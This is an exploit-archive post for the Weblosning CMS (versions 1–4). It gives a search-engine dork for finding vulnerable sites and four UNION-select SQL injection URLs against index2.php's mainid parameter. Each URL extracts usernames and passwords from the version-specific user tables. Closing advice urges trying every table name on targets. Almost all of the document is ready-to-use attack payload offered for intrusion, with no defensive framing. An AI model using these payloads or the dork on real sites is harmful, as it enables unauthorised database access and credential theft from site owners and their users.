Weblosninger <= v4 (XSS/SQL) Multiple Remote Vulnerabilities

============================================================
Weblosninger <= v4 (XSS/SQL) Multiple Remote Vulnerabilities
============================================================



################ Viva IsLaM ################
#   (sql / xss ) Multiple Vulnerabilities
#     
#   weblosning   V1, V2,V3,V4 (( index2.php id ))                              
############################################
## Script Name : Weblosning (( V1, V2,V3,V4 ))
##
## Demo :   http://www.simpelside.dk/
## 
############################################
##      (( V1 ::V2 :: V3 :: V4 ))
##
## D0rk :  allinurl: "index2.php" mainid
##
====>>>   SQL ::::::::

       V1  =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web1_brugere/*
         
       V2  =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web2_brugere/*
         
       V3 =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web3_brugere/*
          
       V4 =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web4_brugere/*


## Note ## plz use all exploits to have good results , the sites have difrrent versions , so you must test all tables name on targets the ,table name like this [  web1_brugere , web2_brugere , web3_brugere , web4_brugere ]  to know script version 
 



#  0day.today [2018-04-10]  #